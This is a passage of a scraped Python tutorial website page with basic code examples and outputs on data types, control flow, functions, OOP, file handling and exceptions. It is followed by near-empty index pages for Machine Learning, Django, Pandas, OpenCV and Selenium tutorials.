    # Two objects are passed 
    print("x =", x) 
      
    # code for disabling the softspace feature  
    print('G', 'F', 'G', sep ='') 
      
    # using end argument 
    print("Python", end = '@')   
    print("GeeksforGeeks")  
    
    

    Output:

    GeeksForGeeks
    x = 5
    GFG
    Python@GeeksforGeeks
    

    Data Types

    Data types are the classification or categorization of data items. It represents the kind of value that tells what operations can be performed on a particular data. Since everything is an object in Python programming, data types are actually classes and variables are instance (object) of these classes.

    Python-data-structure

    Numeric

    In Python, numeric data type represent the data which has numeric value. Numeric value can be interger, floating number or even complex numbers. These values are defined as int, float and complex class in Python.

    
    # Python program to  
    # demonstrate numeric value 
      
    print("Type of a: ", type(5)) 
      
    print("\nType of b: ", type(5.0)) 
      
    c = 2 + 4j
    print("\nType of c: ", type(c)) 
    
    

    Output:

    Type of a:  <class 'int'>
    
    Type of b:  <class 'float'>
    
    Type of c:  <class 'complex'>
    

    Sequence Type

    In Python, a sequence is the ordered collection of similar or different data types. Sequences allow storing multiple values in an organized and efficient fashion. There are several sequence types in Python –

    1) String: A string is a collection of one or more characters put in a single quote, double-quote or triple quote. In python there is no character data type, a character is a string of length one. It is represented by str class. Strings in Python can be created using single quotes or double quotes or even triple quotes.

    
    # Python Program for  
    # Creation of String  
        
    # String with single quotes   
    print('Welcome to the Geeks World')
        
    # String with double quotes  
    print("I'm a Geek")
        
    # String with triple quotes
    print('''I'm a Geek and I live in a world of "Geeks"''')
     
    

    Output:

    Welcome to the Geeks World
    I'm a Geek
    I'm a Geek and I live in a world of "Geeks"
    

    Accessing elements of string –

    strings

    
    # Python Program to Access  
    # characters of String  
        
    String1 = "GeeksForGeeks"
        
    # Printing First character 
    print(String1[0])  
        
    # Printing Last character 
    print(String1[-1])  
    
    

    Output:

    G
    s
    

    Deleting/Updating from a String –

    In Python, Updation or deletion of characters from a String is not allowed because Strings are immutable. Only new strings can be reassigned to the same name.

    
    # Python Program to Update / delete  
    # character of a String  
        
    String1 = "Hello, I'm a Geek"
        
    # Updating a character
    String1[2] = 'p'
      
    # Deleting a character   
    del String1[2]
    
    

    Output:

    Traceback (most recent call last):
    File “/home/360bb1830c83a918fc78aa8979195653.py”, line 6, in
    String1[2] = ‘p’
    TypeError: ‘str’ object does not support item assignment
    
    Traceback (most recent call last):
    File “/home/499e96a61e19944e7e45b7a6e1276742.py”, line 8, in
    del String1[2]
    TypeError: ‘str’ object doesn’t support item deletion
    

    Note: For more information, refer 👉🏽 Python String.

    Refer to the below articles to know more about Strings:

    2) List: Lists are just like the arrays, declared in other languages. A single list may contain DataTypes like Integers, Strings, as well as Objects. The elements in a list are indexed according to a definite sequence and the indexing of a list is done with 0 being the first index. It is represented by list class.

    
    # Python program to demonstrate   
    # Creation of List   
        
    # Creating a List  
    List = []  
    print(List)  
        
    # Creating a list of strings
    List = ['GeeksForGeeks', 'Geeks'] 
    print(List)  
        
    # Creating a Multi-Dimensional List  
    List = [['Geeks', 'For'], ['Geeks']]  
    print(List)
    
    

    Output:

    []
    ['GeeksForGeeks', 'Geeks']
    [['Geeks', 'For'], ['Geeks']]
    

    Adding Elements to a List: Using append(), insert() and extend()

    
    # Python program to demonstrate   
    # Addition of elements in a List  
        
    # Creating a List  
    List = []
        
    # Using append()
    List.append(1)  
    List.append(2)
    print(List)  
      
    # Using insert()
    List.insert(3, 12)  
    List.insert(0, 'Geeks')
    print(List)  
      
    # Using extend()  
    List.extend([8, 'Geeks', 'Always'])  
    print(List)
    
    

    Output:

    [1, 2]
    ['Geeks', 1, 2, 12]
    ['Geeks', 1, 2, 12, 8, 'Geeks', 'Always']
    

    Accessing elements from the List –

    Use the index operator [ ] to access an item in a list. In Python, negative sequence indexes represent positions from the end of the array. Instead of having to compute the offset as in List[len(List)-3], it is enough to just write List[-3].

    
    # Python program to demonstrate   
    # accessing of element from list  
        
    
    List = [1, 2, 3, 4, 5, 6]  
        
    # accessing a element
    print(List[0])   
    print(List[2])  
      
    # Negative indexing
    # print the last element of list  
    print(List[-1])
    # print the third last element of list   
    print(List[-3])
    
    

    Output:

    1
    3
    6
    4
    

    Removing Elements from the List: Using remove() and pop()

    
    # Python program to demonstrate   
    # Removal of elements in a List  
        
    # Creating a List  
    List = [1, 2, 3, 4, 5, 6,   
            7, 8, 9, 10, 11, 12]
    
    # using Remove() method  
    List.remove(5)  
    List.remove(6)
    print(List)  
      
    # using pop()
    List.pop()
    print(List)  
    
    

    Output:

    [1, 2, 3, 4, 7, 8, 9, 10, 11, 12]
    [1, 2, 3, 4, 7, 8, 9, 10, 11]
    

    Note: For more information, refer 👉🏽 Python List.

    Refer to the below articles to know more about List:

    3) Tuple: Tuple is an ordered collection of Python objects much like a list. The important difference between a list and a tuple is that tuples are immutable. It is represented by tuple class. In Python, tuples are created by placing a sequence of values separated by ‘comma’ with or without the use of parentheses for grouping of the data sequence.

    
    # Python program to demonstrate   
    # creation of Set  
        
    # Creating an empty tuple  
    Tuple1 = ()
    print (Tuple1)  
        
    # Creating a tuple of strings 
    print(('Geeks', 'For'))  
        
    # Creating a Tuple of list  
    print(tuple([1, 2, 4, 5, 6]))
    
    # Creating a nested Tuple
    Tuple1 = (0, 1, 2, 3)  
    Tuple2 = ('python', 'geek')  
    Tuple3 = (Tuple1, Tuple2)
    print(Tuple3)
    
    

    Output:

    ()
    ('Geeks', 'For')
    (1, 2, 4, 5, 6)
    ((0, 1, 2, 3), ('python', 'geek'))
    

    Accessing element of a tuple –

    Use the index operator [ ] to access an item in a tuple.

    
    # Python program to  
    # demonstrate accessing tuple 
      
    tuple1 = tuple([1, 2, 3, 4, 5]) 
      
    # Accessing element using indexing
    print(tuple1[0]) 
      
    # Accessing element using Negative
    # Indexing
    print(tuple1[-1])
    
    

    Output:

    1
    5
    

    Deleting/updating elements of tuple –

    Items of a tuple cannot be deleted as tuples are immutable in Python. Only new tuples can be reassigned to the same name.

    
    # Python program to  
    # demonstrate updation / deletion 
    # from a tuple 
      
    tuple1 = tuple([1, 2, 3, 4, 5])
      
    # Updating an element
    tuple1[0] = -1
      
    # Deleting an element
    del tuple1[2] 
    
    

    Output:

    Traceback (most recent call last):
      File "/home/084519a8889e9b0103b874bbbb93e1fb.py", line 11, in 
        tuple1[0] = -1
    TypeError: 'tuple' object does not support item assignment
    
    Traceback (most recent call last):
      File "/home/ffb3f8be85dd393bde5d0483ff191343.py", line 12, in 
        del tuple1[2]
    TypeError: 'tuple' object doesn't support item deletion
    

    Note: For more information, refer 👉🏽 Python Tuples.

    Refer to the below articles to know more about tuples:

    Boolean

    Booleans are data type with one of the two built-in values, True or False. It is denoted by the class bool.

    
    # Python program to  
    # demonstrate boolean type 
      
    print(type(True)) 
    print(1>2)
    print('a'=='a')
    
    

    Output:

    <class 'bool'>
    False
    True
    

    Set

    In Python, Set is an unordered collection of data type that is iterable, mutable and has no duplicate elements. The order of elements in a set is undefined though it may consist of various elements. Sets can be created by using the built-in set() function with an iterable object or a sequence by placing the sequence inside curly braces {}, separated by ‘comma’.

    
    
    # Python program to demonstrate   
    # Creation of Set in Python  
        
    # Creating a Set  
    set1 = set()  
    
    # Creating a Set of String  
    set1 = set("GeeksForGeeks") 
    print(set1)  
      
    # Creating a Set of List  
    set1 = set(["Geeks", "For", "Geeks"])
    print(set1)  
    
    

    Output:

    {'o', 'r', 'k', 'G', 'e', 's', 'F'}
    {'Geeks', 'For'}
    

    Adding elements: Using add() and update()

    # Python program to demonstrate   
    # Addition of elements in a Set  
    
    
    set1 = set()
        
    # Adding to the Set using add() 
    set1.add(8)
    set1.add((6, 7))
    print(set1)  
      
    # Additio to the Set using Update()   
    set1.update([10, 11])
    print(set1) 
    

    Output:

    {8, (6, 7)}
    {8, 10, 11, (6, 7)}
    

    Accessing a Set: One can loop through the set items using a for loop as set items cannot be accessed by referring to an index.

    
    # Python program to demonstrate  
    # Accessing of elements in a set  
        
    # Creating a set  
    set1 = set(["Geeks", "For", "Geeks"])  
    
    # Accessing using for loop
    for i in set1:  
        print(i, end =" ")
    
    

    Output:

    Geeks For
    

    Removing elements from a set: Using remove(), discard(), pop() and clear()

    
    # Python program to demonstrate   
    # Deletion of elements in a Set  
    
    set1 = set([1, 2, 3, 4, 5, 6,   
                7, 8, 9, 10, 11, 12])  
    
    # using Remove() method  
    set1.remove(5)  
    set1.remove(6)
    print(set1)  
    
    # using Discard() method  
    set1.discard(8)  
    set1.discard(9)
    print(set1)  
    
    # Set using the pop() method  
    set1.pop()
    print(set1)  
    
    # Set using clear() method  
    set1.clear()
    print(set1) 
    
    

    Output:

    {1, 2, 3, 4, 7, 8, 9, 10, 11, 12}
    {1, 2, 3, 4, 7, 10, 11, 12}
    {2, 3, 4, 7, 10, 11, 12}
    set()
    

    Note: For more information, refer 👉🏽 Python Sets.

    Refer to the below articles to know more about Sets:

    Dictionary

    Dictionary in Python is an unordered collection of data values, used to store data values like a map. Dictionary holds key:value pair. Each key-value pair in a Dictionary is separated by a colon :, whereas each key is separated by a ‘comma’. A Dictionary can be created by placing a sequence of elements within curly {} braces, separated by ‘comma’.

    
    # Creating an empty Dictionary  
    Dict = {}
    print(Dict)  
    
    # with Integer Keys  
    Dict = {1: 'Geeks', 2: 'For', 3: 'Geeks'}
    print(Dict)  
    
    # with Mixed keys  
    Dict = {'Name': 'Geeks', 1: [1, 2, 3, 4]}
    print(Dict) 
    
    

    Output:

    {}
    {1: 'Geeks', 2: 'For', 3: 'Geeks'}
    {1: [1, 2, 3, 4], 'Name': 'Geeks'}
    

    Nested Dictionary:

    Nested-Dictionary

    
    
    # Creating a Nested Dictionary  
    # as shown in the below image 
    Dict = {1: 'Geeks', 2: 'For',  
            3:{'A' : 'Welcome', 'B' : 'To', 'C' : 'Geeks'}} 
      
    print(Dict)  
    
    

    Output:

    {1: 'Geeks', 2: 'For', 3: {'A': 'Welcome', 'B': 'To', 'C': 'Geeks'}}
    

    Note: For more information, refer 👉🏽 Python Nested Dictionary.

    Adding elements to a Dictionary: One value at a time can be added to a Dictionary by defining value along with the key e.g. Dict[Key] = ‘Value’.

    
    # Creating an empty Dictionary 
    Dict = {}
      
    # Adding elements one at a time 
    Dict[0] = 'Geeks'
    Dict[2] = 'For'
    Dict[3] = 1
    print(Dict) 
    
      
    # Updating existing Key's Value 
    Dict[2] = 'Welcome'
    print(Dict) 
    
    

    Output:

    {0: 'Geeks', 2: 'For', 3: 1}
    {0: 'Geeks', 2: 'Welcome', 3: 1}
    

    Accessing elements from a Dictionary: In order to access the items of a dictionary refer to its key name or use get() method.

    
    # Python program to demonstrate    
    # accessing an element from a Dictionary   
        
    # Creating a Dictionary   
    Dict = {1: 'Geeks', 'name': 'For', 3: 'Geeks'}  
        
    # accessing a element using key
    print(Dict['name'])  
      
    # accessing a element using get()
    print(Dict.get(3)) 
    
    

    Output:

    For
    Geeks
    

    Removing Elements from Dictionary: Using pop() and popitem()

    
    # Initial Dictionary  
    Dict = { 5 : 'Welcome', 6 : 'To', 7 : 'Geeks',  
            'A' : {1 : 'Geeks', 2 : 'For', 3 : 'Geeks'},
           }  
        
    # using pop()  
    Dict.pop(5) 
    print(Dict)  
    
    # using popitem()  
    Dict.popitem() 
    print(Dict)  
    
    

    Output:

    {'A': {1: 'Geeks', 2: 'For', 3: 'Geeks'}, 6: 'To', 7: 'Geeks'}
    {6: 'To', 7: 'Geeks'}
    

    Note: For more information, refer 👉🏽 Python Dictionary.

    Refer to the below articles to know more about dictionary:

    Decision Making

    Decision Making in programming is similar to decision making in real life. A programming language uses control statements to control the flow of execution of the program based on certain conditions. These are used to cause the flow of execution to advance and branch based on changes to the state of a program.

    Decision-making statements in Python

    Example 1: To demonstrate if and if-else

    
    # Python program to demonstrate
    # decision making
    
    a = 10
    b = 15
    
    # if to check even number
    if a % 2 == 0:
        print("Even Number")
        
    # if-else to check even or odd
    if b % 2 == 0:
        print("Even Number")
    else:
        print("Odd Number")
    
    

    Output:

    Even Number
    Odd Number
    

    Example 2: To demonstrate nested-if and if-elif

    
    # Python program to demonstrate
    # decision making
    
    a = 10
    
    # Nested if to check whether a 
    # number is divisible by both 2 and 5
    if a % 2 == 0:
        if a % 5 == 0:
            print("Number is divisible by both 2 and 5")
            
    # is-elif
    if (a == 11): 
        print ("a is 11") 
    elif (a == 10): 
        print ("a is 10")
    else: 
        print ("a is not present")
    
    

    Output:

    Number is divisible by both 2 and 5
    a is 10
    

    Note: For more information, refer 👉🏽 Decision Making in Python.

    Control flow (Loops)

    Loops in programming come into use when we need to repeatedly execute a block of statements. For example: Suppose we want to print “Hello World” 10 times. This can be done with the help of loops. The loops in Python are:

    Refer to the below articles to know more about Loops:

    Loop control statements

    Loop control statements change execution from its normal sequence. Following are the loop control statements provided by Python:

    
    # Python program to demonstrate
    # break, continue and pass 
      
    s = 'geeksforgeeks'
    
    for letter in s: 
        if letter == 'e' or letter == 's': 
            break
        print(letter, end = " ")
    print()
    
    for letter in s: 
        if letter == 'e' or letter == 's': 
            continue
        print(letter, end = " ")
    print()    
    
    for letter in s: 
        if letter == 'e' or letter == 's': 
            pass
        print(letter, end = " ")
    
    

    Output:

    g 
    g k f o r g k 
    g e e k s f o r g e e k s 
    

    Note: For more information, refer 👉🏽 break, continue and pass in Python.

    Functions

    Functions are generally the block of codes or statements in a program that gives the user the ability to reuse the same code which ultimately saves the excessive use of memory, acts as a time saver and more importantly, provides better readability of the code. So basically, a function is a collection of statements that perform some specific task and return the result to the caller. A function can also perform some specific task without returning anything. In Python, def keyword is used to create functions.

    
    # Python program to demonstrate
    # functions
    
    
    # Defining functions
    def ask_user():
        print("Hello Geeks")
    
    # Function that returns sum
    # of first 10 numbers
    def my_func():
        a = 0
        for i in range(1, 11):
            a = a + i
        return a
        
    # Calling functions
    ask_user()
    res = my_func()
    print(res)
    
    

    Output:

    Hello Geeks
    55
    

    Function with arguments

    Note: For more information, refer 👉🏽 Functions in Python.

    Refer to the below articles to know more about functions:

    Lambda functions

    In Python, the lambda/anonymous function means that a function is without a name. The lambda keyword is used to create anonymous functions. Lambda function can have any number of arguments but has only one expression.

    
    # Python code to demonstrate   
    # labmda function  
    
    # Cube using lambda
    cube = lambda x: x * x*x  
    print(cube(7))
    
    # List comprehension using lambda
    a = [(lambda x: x * 2)(x) for x in range(5)]
    print(a)
    
    

    Output:

    343
    [0, 2, 4, 6, 8]
    

    Note: For more information, refer 👉🏽 Python lambda (Anonymous Functions).

    Refer to the below articles to know more about Lambda:

    Object Oriented Programming

    Object-oriented programming aims to implement real-world entities like inheritance, hiding, polymorphism, etc in programming. The main aim of OOP is to bind together the data and the functions that operate on them so that no other part of the code can access this data except that function.

    Python-OOPS-Concept

    Classes and Objects

    Class creates a user-defined data structure, which holds its own data members and member functions, which can be accessed and used by creating an instance of that class. A class is like a blueprint for an object.

    An Object is an instance of a Class. A class is like a blueprint while an instance is a copy of the class with actual values.

    
    # Python program to demonstrate
    # classes and objects
      
    class Dog:  
          
        # A simple class attribute
        attr1 = "mamal"
        attr2 = "dog"
      
        # A sample method   
        def fun(self):  
            print("I'm a", self.attr1) 
            print("I'm a", self.attr2) 
      
    # Driver code 
    # Object instantiation 
    Rodger = Dog() 
      
    # Accessing class attributes 
    # and method through objects 
    print(Rodger.attr1) 
    Rodger.fun()
    
    

    Output:

    mamal
    I'm a mamal
    I'm a dog
    

    Note: For more information, refer 👉🏽 Python Classes and Objects.

    The self

    self represents the instance of the class. By using the “self” keyword we can access the attributes and methods of the class in python. It binds the attributes with the given arguments.

    Note: For more information, refer 👉🏽 self in Python class.

    Constructors and Destructors

    Constructors: Constructors are generally used for instantiating an object.The task of constructors is to initialize(assign values) to the data members of the class when an object of class is created. In Python the __init__() method is called the constructor and is always called when an object is created. There can be two types of constructors:

    # Python program to demonstrate 
    # constructors
    
    
    class Addition:
        # parameterized constructor 
        def __init__(self, f, s): 
            self.first = f 
            self.second = s
      
        def calculate(self):
            print(self.first + self.second)
      
    # Invoking parameterized constructor
    obj = Addition(1000, 2000) 
      
    # perform Addition 
    obj.calculate() 
    

    Output:

    3000
    

    Note: For more information, refer 👉🏽 Constructors in Python.

    Destructors: Destructors are called when an object gets destroyed. The __del__() method is a known as a destructor method in Python. It is called when all references to the object have been deleted i.e when an object is garbage collected.

    
    # Python program to illustrate destructor 
    class Employee: 
      
        # Initializing 
        def __init__(self): 
            print('Employee created.') 
      
        # Deleting (Calling destructor) 
        def __del__(self): 
            print('Destructor called, Employee deleted.') 
      
    obj = Employee() 
    del obj 
    
    

    Output:

    Employee created.
    Destructor called, Employee deleted.
    

    Note: For more information, refer 👉🏽 Destructors in Python.

    Inheritance

    Inheritance is the ability of any class to extract and use features of other classes. It is the process by which new classes called the derived classes are created from existing classes called Base classes.

    
    # A Python program to demonstrate inheritance  
      
    
    class Person(): 
          
        # Constructor 
        def __init__(self, name): 
            self.name = name 
      
        # To get name 
        def getName(self): 
            return self.name 
      
        # To check if this person is employee 
        def isEmployee(self): 
            return False
      
      
    # Inherited or Sub class (Note Person in bracket) 
    class Employee(Person): 
      
        # Here we return true 
        def isEmployee(self): 
            return True
      
    # Driver code 
    emp = Person("Geek1")  # An Object of Person 
    print(emp.getName(), emp.isEmployee()) 
      
    emp = Employee("Geek2") # An Object of Employee 
    print(emp.getName(), emp.isEmployee())
    
    

    Output:

    Geek1 False
    Geek2 True
    

    Note: For more information, refer 👉🏽 Python inheritance.

    Encapsulation

    Encapsulation describes the idea of wrapping data and the methods that work on data within one unit. This puts restrictions on accessing variables and methods directly and can prevent the accidental modification of data.

    
    # Python program to demonstrate
    # encapsulation 
      
    # Creating a Base class 
    class Base: 
        def __init__(self): 
            self.a = "GeeksforGeeks"
            self.__c = "GeeksforGeeks"
      
    # Creating a derived class 
    class Derived(Base): 
        def __init__(self): 
              
            # Calling constructor of 
            # Base class
            Base.__init__(self)  
            print("Calling private member of base class: ") 
            print(self.__a) 
    # Driver code 
    obj = Derived()
    
    

    Output:

    Traceback (most recent call last):
      File "/home/5a605c59b5b88751d2b93dd5f932dbd5.py", line 20, in 
        obj = Derived()
      File "/home/5a605c59b5b88751d2b93dd5f932dbd5.py", line 18, in __init__
        print(self.__a) 
    AttributeError: 'Derived' object has no attribute '_Derived__a'
    

    Note: For more information, refer 👉🏽 Encapsulation in Python.

    Polymorphism

    Polymorphism refers to the ability of OOPs programming languages to differentiate between entities with the same name efficiently. This is done by Python with the help of the signature of these entities.

    
    # Python program to demonstrate
    # Polymorphism
    
    
    class A():
        def show(self):
            print("Inside A")
            
    class B():
        def show(self):
            print("Inside B")
            
    # Driver's code
    a = A()
    a.show()
    b = B()
    b.show()
    
    

    Output:

    Inside A
    Inside B
    

    Refer to the articles to know more about OOPS:

    File Handling

    File handling is the ability of Python to handle files i.e. to read and write files along with many other file handling options. Python treats files differently as text or binary and this is important. Each line of code includes a sequence of characters and they form a text file. Each line of a file is terminated with a special character, called the EOL or End of Line characters like comma {, } or newline character.

    Basic File Handling operations in Python are:

    1) Open a file: Opening a file refers to getting the file ready either for reading or for writing. This can be done using the open() function. This function returns a file object and takes two arguments, one that accepts the file name and another that accepts the mode(Access Mode). Python provides six Access Modes:

    Access ModeDescription
    Read Only (‘r’)Open text file for reading. The handle is positioned at the beginning of the file.
    Read and Write (‘r+’)Open the file for reading and writing. The handle is positioned at the beginning of the file.
    Write Only (‘w’)Open the file for writing. For existing file, the data is truncated and over-written. The handle is positioned at the beginning of the file.
    Write and Read (‘w+’)Open the file for reading and writing. For existing file, data is truncated and over-written. The handle is positioned at the beginning of the file.
    Append Only (‘a’)Open the file for writing. The handle is positioned at the end of the file.
    Append and Read (‘a+’)Open the file for reading and writing. The handle is positioned at the end of the file.
    
    # Open function to open the file "MyFile1.txt"   
    # (same directory) in read mode and  
    file1 = open("MyFile.txt", "r")  
        
    # store its reference in the variable file1   
    # and "MyFile2.txt" in D:\Text in file2  
    file2 = open(r"D:\Text\MyFile2.txt", "r+")  
    

    Note: For more information, refer 👉🏽 Open a File in Python.

    2) Close the file: close() function closes the file and frees the memory space acquired by that file.

    
    # Opening and Closing a file "MyFile.txt" 
    # for object name file1. 
    file1 = open("MyFile.txt", "a") 
    file1.close()
    
    

    3) Reading from a File: There are three ways to read data from a text file.

    Let’s suppose the file looks like this:
    python-file-handling

    
    # Program to show various ways to  
    # read data from a file.
      
    file1 = open("data.txt", "r+") 
      
    print("Output of Read function is ") 
    print(file1.read()) 
    print() 
      
    # seek(n) takes the file handle to the nth 
    # bite from the beginning.  
    file1.seek(0) 
      
    print("Output of Readline function is ") 
    print(file1.readline()) 
    print() 
      
    file1.seek(0) 
      
    # readlines function  
    print("Output of Readlines function is ") 
    print(file1.readlines()) 
    print() 
    file1.close()  
    
    

    Output:

    Output of Read function is 
    Code is like humor. When you have to explain it, its bad.
    
    Output of Readline function is 
    Code is like humor. When you have to explain it, its bad.
    
    Output of Readlines function is 
    ['Code is like humor. When you have to explain it, its bad.']
    

    Note: For more information, refer 👉🏽 How to read from a file in Python.

    4) Writing to a file:

    There are two ways to write in a file.

    
    # Python program to demonstrate 
    # writing to file 
      
    # Opening a file 
    file1 = open('myfile.txt', 'w') 
    L = ["This is Delhi \n", "This is Paris \n", "This is London \n"] 
    s = "Hello\n"
      
    # Writing a string to file 
    file1.write(s) 
      
    # Writing multiple strings 
    # at a time 
    file1.writelines(L) 
      
    # Closing file 
    file1.close() 
    
    

    Output:

    python-writing-to-file

    Note: For more information, refer 👉🏽 Writing to file in Python.

    Refer to the below articles to know more about File-Handling:

    Modules and Packages

    Modules

    A module is a self-contained Python file that contains Python statements and definitions, like a file named GFG.py, which can be considered as a module named GFG which can be imported with the help of import statement.

    Let’s create a simple module named GFG.

    
    # Python program to demonstrate 
    # modules
     
     
    # Defining a function
    def Geeks():
        print("GeeksforGeeks")
     
    # Defining a variable
    location = "Noida"
     
    # Defining a class
    class Employee():
         
        def __init__(self, name, position):
            self. name = name
            self.position = position
             
        def show(self):
            print("Employee name:", self.name)
            print("Employee position:", self.position)
    

    To use the above created module, create a new Python file in the same directory and import GFG module using the import statement.

    
    # Python program to demonstrate
    # modules
     
     
    import GFG
     
    # Use the function created
    GFG.Geeks()
     
    # Print the variable declared
    print(GFG.location)  
     
    # Use the class created
    emp = GFG.Employee("Nikhil", "Developer")
    emp.show()
    
    

    Output:

    GeeksforGeeks
    Noida
    Employee name: Nikhil
    Employee position: Developer
    

    Note: For more information, refer 👉🏽 Python Modules.

    Packages

    Packages are a way of structuring many packages and modules which helps in a well-organized hierarchy of data set, making the directories and modules easy to access.

    To create a package in Python, we need to follow these three simple steps:

    Example: Let’s create a package for cars.

    Now, let’s use the package that we created. To do this make a sample.py file in the same directory where Cars package is located and add the following code to it:

    
    # Import classes from your brand new package 
    from Cars import Bmw 
    from Cars import Audi 
       
    # Create an object of Bmw class & call its method 
    ModBMW = Bmw() 
    ModBMW.outModels() 
       
    # Create an object of Audi class & call its method 
    ModAudi = Audi() 
    ModAudi.outModels() 
    
    

    Output:
    python-packages1

    Note: For more information, refer 👉🏽 Create and Access a Python Package.

    Regular expressions

    Module Regular Expressions(RE) specifies a set of strings(pattern) that matches it. To understand the RE analogy, MetaCharacters are useful, important and will be used in functions of module re. There are a total of 14 metacharacters:

    \   Used to drop the special meaning of character
        following it (discussed below)
    []  Represent a character class
    ^   Matches the beginning
    $   Matches the end
    .   Matches any character except newline
    ?   Matches zero or one occurrence.
    |   Means OR (Matches with any of the characters
        separated by it.
    *   Any number of occurrences (including 0 occurrences)
    +   One ore more occurrences
    {}  Indicate the number of occurrences of a preceding RE 
        to match.
    ()  Enclose a group of REs
    

    The most frequently used methods are:

    Note: For more information, refer 👉🏽 Regular Expression in Python.

    Exception handling

    Like other languages, Python also provides the runtime errors via exception handling method with the help of try-except.

    How try-except works?

    Code 1: No exception, so try clause will run.

    
    # Python code to illustrate 
    # working of try()  
    def divide(x, y): 
        try: 
            result = x // y 
            print("Yeah ! Your answer is :", result) 
        except ZeroDivisionError: 
            print("Sorry ! You are dividing by zero ") 
      
    # Look at parameters and note the working of Program 
    divide(3, 2) 
    
    

    Output:

    Yeah ! Your answer is : 1
    

    Code 2: There is an exception so only except clause will run.

    
    # Python code to illustrate 
    # working of try()  
    def divide(x, y): 
        try:
            result = x // y 
            print("Yeah ! Your answer is :", result) 
        except: 
            print("Sorry ! You are dividing by zero ") 
      
    # Look at parameters and note the working of Program 
    divide(3, 0)
    
    

    Output:

    Sorry ! You are dividing by zero 
    

    Else Clause: In python, you can also use else clause on try-except block which must be present after all the except clauses. The code enters the else block only if the try clause does not raise an exception.

    
    # Python code to illustrate 
    # working of try()  
    def divide(x, y): 
        try:
            result = x // y 
            print("Yeah ! Your answer is :", result) 
        except: 
            print("Sorry ! You are dividing by zero ") 
        else:
            print("No exception raised")
      
    # Look at parameters and note the working of Program 
    divide(3, 2)
    
    

    Output:

    Yeah ! Your answer is : 1
    No exception raised
    

    Raising Exception: The raise statement allows the programmer to force a specific exception to occur. This must be either an exception instance or an exception class. To know more about the list of exception class 👉🏽 click here.

    
    # Program to depict Raising Exception 
      
    try:  
        raise NameError("Hi there")  # Raise Error 
    except NameError: 
        print("An exception")
        raise  # To determine whether the exception was raised or not
    
    

    Output:

    Traceback (most recent call last):
      File "/home/4678cd3d633b2ddf9d19fde6283f987b.py", line 4, in 
        raise NameError("Hi there")  # Raise Error 
    NameError: Hi there
    

    Note: For more information, refer 👉🏽 Python exception handling.


    My Personal Notes arrow_drop_up

    Machine Learning

    • Last Updated : 30 May, 2022

     
    Machine Learning is the field of study that gives computers the capability to learn without being explicitly programmed. ML is one of the most exciting technologies that one would have ever come across. As it is evident from the name, it gives the computer that makes it more similar to humans: The ability to learn. Machine learning is actively being used today, perhaps in many more places than one would expect.

    Machine Learning tutorial

    Recent Articles on Machine Learning

    Related Courses:

    Machine Learning is an essential skill for any aspiring data analyst and data scientist, and also for those who wish to transform a massive amount of raw data into trends and predictions. Learn this skill today with Machine Learning Foundation – Self Paced Course , designed and curated by industry experts having years of expertise in ML and industry-based projects.

     

    Introduction :

    Data and It’s Processing:

    Supervised learning :

    1. Getting started with Classification
    2. Basic Concept of Classification
    3. Types of Regression Techniques
    4. Classification vs Regression
    5. ML | Types of Learning – Supervised Learning
    6. Multiclass classification using scikit-learn
    7. Python | Implementation of Polynomial Regression
    8. Softmax Regression using TensorFlow
    9. Naive Bayes Classifiers

    Unsupervised learning :

    Reinforcement Learning:

    Dimensionality Reduction :

    Natural Language Processing :

    Neural Networks :

    ML – Deployment :

    ML – Applications :

    Misc :

    GeeksforGeeks Courses

    Machine Learning Foundation

    Machines are learning, so why do you wish to get left behind? Strengthen your ML and AI foundations today and become future ready. This self-paced course will help you learn advanced concepts like- Regression, Classification, Data Dimensionality and much more. Also included- Projects that will help you get hands-on experience. So wait no more, and strengthen your Machine Learning Foundations.

    Data Science Live Course

    Every organisation now relies on data before making any important decisions regarding their future. So, it is safe to say that Data is really the king now. So why do you want to get left behind? This LIVE course will introduce the learner to advanced concepts like: Linear Regression, Naive Bayes & KNN, Numpy, Pandas, Matlab & much more. You will also get to work on real-life projects through the course. So wait no more, Become a Data Science Expert now.


    My Personal Notes arrow_drop_up

    Django Tutorial

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 30 May, 2022

    Django is a Python-based web framework that allows you to quickly create efficient web applications. It is also called batteries included framework because Django provides built-in features for everything including Django Admin Interface, default database – SQLlite3, etc. When you’re building a website, you always need a similar set of components: a way to handle user authentication (signing up, signing in, signing out), a management panel for your website, forms, a way to upload files, etc. Django gives you ready-made components to use and that too for rapid development.

    django-tutorial

    Why Django Framework ?

    Recent Articles on Django !!

    Django Basics

    Django Forms

    Django Templates

    Misc

    Django Views

     
     
     


    My Personal Notes arrow_drop_up

    Pandas Tutorial

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 29 Feb, 2020

    Pandas is an open-source library that is built on top of NumPy library. It is a Python package that offers various data structures and operations for manipulating numerical data and time series. It is mainly popular for importing and analyzing data much easier. Pandas is fast and it has high-performance & productivity for users.

    Pandas-Tutorial
    This Pandas Tutorial will help learning Pandas from Basics to advance data analysis operations, including all necessary functions explained in detail.

    Table of Contents

    Pandas Practice problems with solutions !
    Recent Articles on Python Pandas !

    Introduction

    Creating Objects

    Viewing Data

    Selection

    👉🏽 Recent Articles on Pandas-Indexing

    Manipulating Data

    Grouping Data

    Merging, Joining and Concatenating

    Working with Date and Time

    Working With Text Data

    Working with CSV and Excel files

    Operations

    Visualization

    Applications and Projects

    Miscellaneous

     
     
     
     
     
     
     
     
     


    My Personal Notes arrow_drop_up

    OpenCV Python Tutorial

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Hard
    • Last Updated : 28 Mar, 2021

    OpenCV is a huge open-source library for computer vision, machine learning, and image processing. OpenCV supports a wide variety of programming languages like Python, C++, Java, etc. It can process images and videos to identify objects, faces, or even the handwriting of a human. When it is integrated with various libraries, such as Numpy which is a highly optimized library for numerical operations, then the number of weapons increases in your Arsenal i.e whatever operations one can do in Numpy can be combined with OpenCV.

    This OpenCV tutorial will help you learn the Image-processing from Basics to Advance, like operations on Images, Videos using a huge set of Opencv-programs and projects.
    OpenCV-tutorial-python

    Table Of Content:

    Recent Articles on OpenCV !!

     

    Getting Started

    Working with Images

    Getting Started

    Image Processing

    Feature Detection and Description

    Drawing Functions

    Working with Videos

    Getting Started

    Video Processing

    Applications and Projects

     


    My Personal Notes arrow_drop_up

    Selenium Python Tutorial

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 10 Jun, 2020

